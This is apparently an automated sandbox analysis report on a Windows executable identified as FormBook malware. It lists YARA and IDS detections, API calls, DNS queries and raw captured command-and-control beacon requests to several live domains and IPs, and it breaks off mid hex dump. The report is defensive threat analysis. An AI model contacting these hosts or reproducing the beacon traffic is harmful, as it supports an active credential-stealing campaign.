Windows Analysis Report
2rI5YEg7uo.exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1741595274.0000000007890000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3291114440.0000000003FF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3291176689.0000000004040000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3293471787.0000000005920000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1737366193.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3289059447.0000000002140000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1738078800.00000000051E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3290974360.0000000003B00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 2rI5YEg7uo.exe

Joe Sandbox ML: detected

Source: 2rI5YEg7uo.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: choice.pdbGCTL source: svchost.exe, 00000002.00000003.1706252272.000000000342B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1706231248.000000000341A000.00000004.00000020.00020000.00000000.sdmp, vuEbrnedVG.exe, 00000004.00000002.3290150484.0000000000B67000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: vuEbrnedVG.exe, 00000004.00000000.1661414875.000000000087E000.00000002.00000001.01000000.00000005.sdmp, vuEbrnedVG.exe, 00000006.00000000.1809484907.000000000087E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: 2rI5YEg7uo.exe, 00000000.00000003.1459265163.00000000046C0000.00000004.00001000.00020000.00000000.sdmp, 2rI5YEg7uo.exe, 00000000.00000003.1458321355.0000000004520000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1737722402.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1647975493.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1737722402.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1645901086.0000000003600000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 00000005.00000003.1745151156.00000000040A7000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 00000005.00000003.1743246724.0000000003EFA000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 00000005.00000002.3291613627.00000000043EE000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 00000005.00000002.3291613627.0000000004250000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 2rI5YEg7uo.exe, 00000000.00000003.1459265163.00000000046C0000.00000004.00001000.00020000.00000000.sdmp, 2rI5YEg7uo.exe, 00000000.00000003.1458321355.0000000004520000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1737722402.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1647975493.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1737722402.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1645901086.0000000003600000.00000004.00000020.00020000.00000000.sdmp, choice.exe, choice.exe, 00000005.00000003.1745151156.00000000040A7000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 00000005.00000003.1743246724.0000000003EFA000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 00000005.00000002.3291613627.00000000043EE000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 00000005.00000002.3291613627.0000000004250000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: choice.exe, 00000005.00000002.3292579708.000000000487C000.00000004.10000000.00040000.00000000.sdmp, choice.exe, 00000005.00000002.3289709426.0000000002665000.00000004.00000020.00020000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.00000000034EC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2032653948.00000000225FC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: choice.exe, 00000005.00000002.3292579708.000000000487C000.00000004.10000000.00040000.00000000.sdmp, choice.exe, 00000005.00000002.3289709426.0000000002665000.00000004.00000020.00020000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.00000000034EC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2032653948.00000000225FC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: choice.pdb source: svchost.exe, 00000002.00000003.1706252272.000000000342B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1706231248.000000000341A000.00000004.00000020.00020000.00000000.sdmp, vuEbrnedVG.exe, 00000004.00000002.3290150484.0000000000B67000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452126
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,	0_2_0045C999
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00436ADE
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00434BEE
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0045DD7C FindFirstFileW,FindClose,	0_2_0045DD7C
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD29
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,	0_2_00436D2D
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442E1F
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00475FE5
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8D
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_0215BFF0 FindFirstFileW,FindNextFileW,FindClose,	5_2_0215BFF0

Source: C:\Windows\SysWOW64\choice.exe	Code function: 4x nop then xor eax, eax		5_2_02149B50
Source: C:\Windows\SysWOW64\choice.exe	Code function: 4x nop then mov ebx, 00000004h		5_2_041404DE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49712 -> 107.148.177.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49713 -> 107.148.177.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49711 -> 107.148.177.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49715 -> 114.134.188.182:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49716 -> 114.134.188.182:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49718 -> 114.134.188.182:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49723 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49731 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49734 -> 221.128.225.57:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49735 -> 221.128.225.57:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49722 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49724 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49740 -> 203.161.41.204:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49728 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49742 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49744 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49732 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49738 -> 203.161.41.204:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49747 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49727 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49748 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49736 -> 221.128.225.57:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49739 -> 203.161.41.204:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49726 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49730 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49743 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49746 -> 3.33.130.190:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.86350.xyz
Source:	DNS query: www.86350.xyz

Source: Joe Sandbox View	IP Address: 114.134.188.182 114.134.188.182
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: CST-AS-APCAMBODIANSINGMENGTELEMEDIACOLTDKH CST-AS-APCAMBODIANSINGMENGTELEMEDIACOLTDKH
Source: Joe Sandbox View	ASN Name: CHINA169-BACKBONECHINAUNICOMChina169BackboneCN CHINA169-BACKBONECHINAUNICOMChina169BackboneCN
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.9:49710
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.9:49706

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_0044289D InternetQueryDataAvailable,InternetReadFile,

0_2_0044289D

Source: global traffic	HTTP traffic detected: GET /9jt8/?pP=8a+3HSfwCNVsEt212CXMt0mt/2JPDfnH/xSV9JAxfMtg6n4EmM73a+EnCckDJOBVsSjgWFsc3csyb0L4cEbYMoHK4HiTfxbKFAt5P4lfA5zdi62kPw==&UJO=A6MH4FUp HTTP/1.1Host: www.stopgazviganais.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Source: global traffic	HTTP traffic detected: GET /gt2u/?pP=64DlsxQ3SwxSaFXN/Gelffo4GItR2nzYmJJKlop1lDh0+CceceZf5BJEIg7a0JU2nfZgMrDljQ9Fj1jXkjZ0KDVSaDY+B5GMW6Ca+EEpuxPnbLuvhg==&UJO=A6MH4FUp HTTP/1.1Host: www.86350.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Source: global traffic	HTTP traffic detected: GET /tkld/?pP=lN1XaBnjYJpnHJKh+dUgGl9J1dVl/InvxEIaS2ex1IsP6d0M7u7lW/cxrBhQKPDqRUitZ68i9deVdhSWVcPS8XgZ9KQJuNNzg3RG5Tpue4Xs0jPlyg==&UJO=A6MH4FUp HTTP/1.1Host: www.cctv9.restAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Source: global traffic	HTTP traffic detected: GET /g7n9/?pP=tEpII7mNQvDpUYHRp1Imt3Ai8Z2daLocu0u0zFD4hZYidtSVe+a4H5ULhmiF211nuMw1QFTOTrSwIhKto0WIOxAfod6tyHKhsxJNfUmHw8PuVagvUw==&UJO=A6MH4FUp HTTP/1.1Host: www.ninesquare.gamesAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Source: global traffic	HTTP traffic detected: GET /6d0c/?pP=Prf2hkUDRCNRkbO6h1ZvuSCWzJC3nAUQNw+uVaJXhnNhpjXmKYMu0gYsz+KbwUAYDmjdU3Z9SN0FqM88eMKFHxU1C2mZD7ZZKveERTUpO74f3LPupQ==&UJO=A6MH4FUp HTTP/1.1Host: www.capecuvee.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Source: global traffic	HTTP traffic detected: GET /1z60/?pP=yD9eLuYJ5X5bnWq0wX3hmMocNx79K6/nczsdQvd8EYCoec4AYa4RadmXzB7lKk4qdyMCMpN/ECD26HxDmJI715RAp3oQVaTVCLsh5mX2NgfOqD/K0A==&UJO=A6MH4FUp HTTP/1.1Host: www.arcare.partnersAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Source: global traffic	HTTP traffic detected: GET /ojgg/?pP=AzrnYGHzHoWCCbHMKSbZuZvbrIKz02xp6cN/uYeV+EtZw+F+PCfy+ZYYflPSP71mSPfA1WV4Xdxh2c/yfO8qM09HXb/RB/PEMyS6xnqVLXgi6bgw1g==&UJO=A6MH4FUp HTTP/1.1Host: www.cqghwamc.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Source: global traffic	HTTP traffic detected: GET /pcp0/?pP=tR3DS0LuS2f0VExVH8LaK1w46Ipgay9n7W+aiVaSP0dZAAQPwCM3dLWh9pnT07p7OFwQxfFg5dTV9LShhKhHjPzJDtJzWpeBHCcw/sC6fH5hlbdNsw==&UJO=A6MH4FUp HTTP/1.1Host: www.setsea.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Source: global traffic	HTTP traffic detected: GET /7gfa/?pP=OC/NqFuXSoQKcxJzIwbC8gc6YWk63HA88JkIsR5MBtbsuoT1qNc3mE+usci2f4e+0fIXV/Px1LgbGc4SbpFIftMOxDoszWQURSPAVqq521dqxxqHUw==&UJO=A6MH4FUp HTTP/1.1Host: www.evoolixyppuk.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Source: global traffic	HTTP traffic detected: GET /01ng/?pP=DKK6a8PuthPc5ErrRrUbqhrmbP0bjeSkTcQU4x169SXHcyb2o6vFTIaCYUtclW/lDJA6K99MZF0w0Rv4V8fYsQ/Owb2oIOoLiZkxZhnBqViSzSDNrw==&UJO=A6MH4FUp HTTP/1.1Host: www.bidiez.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1

Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp

String found in binary or memory: "https://www.youtube.com/c/funzikporno", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.stopgazviganais.org
Source: global traffic	DNS traffic detected: DNS query: www.86350.xyz
Source: global traffic	DNS traffic detected: DNS query: www.cctv9.rest
Source: global traffic	DNS traffic detected: DNS query: www.ninesquare.games
Source: global traffic	DNS traffic detected: DNS query: www.capecuvee.net
Source: global traffic	DNS traffic detected: DNS query: www.arcare.partners
Source: global traffic	DNS traffic detected: DNS query: www.cqghwamc.top
Source: global traffic	DNS traffic detected: DNS query: www.setsea.info
Source: global traffic	DNS traffic detected: DNS query: www.evoolixyppuk.shop
Source: global traffic	DNS traffic detected: DNS query: www.bidiez.com
Source: global traffic	DNS traffic detected: DNS query: www.ooossshhh.shop

Source: unknown

HTTP traffic detected: POST /gt2u/ HTTP/1.1Host: www.86350.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usAccept-Encoding: gzip, deflateConnection: closeContent-Length: 191Content-Type: application/x-www-form-urlencodedCache-Control: no-cacheOrigin: http://www.86350.xyzReferer: http://www.86350.xyz/gt2u/User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1Data Raw: 70 50 3d 33 36 72 46 76 46 6f 68 44 58 39 77 52 6c 44 79 38 30 2b 37 49 74 68 62 59 64 55 61 35 6a 6d 61 2b 49 30 43 6d 65 35 43 6b 42 5a 71 30 42 73 65 53 39 4a 75 6d 77 31 77 4c 6a 72 63 31 5a 51 63 30 66 39 47 45 37 47 32 37 67 41 5a 2f 47 50 35 75 54 41 55 4c 69 68 4f 43 57 35 68 54 72 69 44 54 36 53 64 6a 44 73 49 67 6d 48 4b 64 4c 54 39 30 4b 4e 42 78 2b 31 34 2f 31 65 6a 4a 38 6a 33 2b 30 74 77 4f 71 59 36 72 6b 64 50 6f 4b 7a 79 37 46 58 77 72 65 6f 38 55 55 42 72 39 77 62 34 39 30 73 36 61 56 32 72 4b 43 61 32 6b 4e 49 72 5a 78 75 62 64 52 79 59 42 38 6f 41 Data Ascii: pP=36rFvFohDX9wRlDy80+7IthbYdUa5jma+I0Cme5CkBZq0BseS9Jumw1wLjrc1ZQc0f9GE7G27gAZ/GP5uTAULihOCW5hTriDT6SdjDsIgmHKdLT90KNBx+14/1ejJ8j3+0twOqY6rkdPoKzy7FXwreo8UUBr9wb490s6aV2rKCa2kNIrZxubdRyYB8oA

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 06 Nov 2024 14:24:33 GMTContent-Type: text/html; charset=utf-8Content-Length: 555Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 06 Nov 2024 14:24:35 GMTContent-Type: text/html; charset=utf-8Content-Length: 555Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 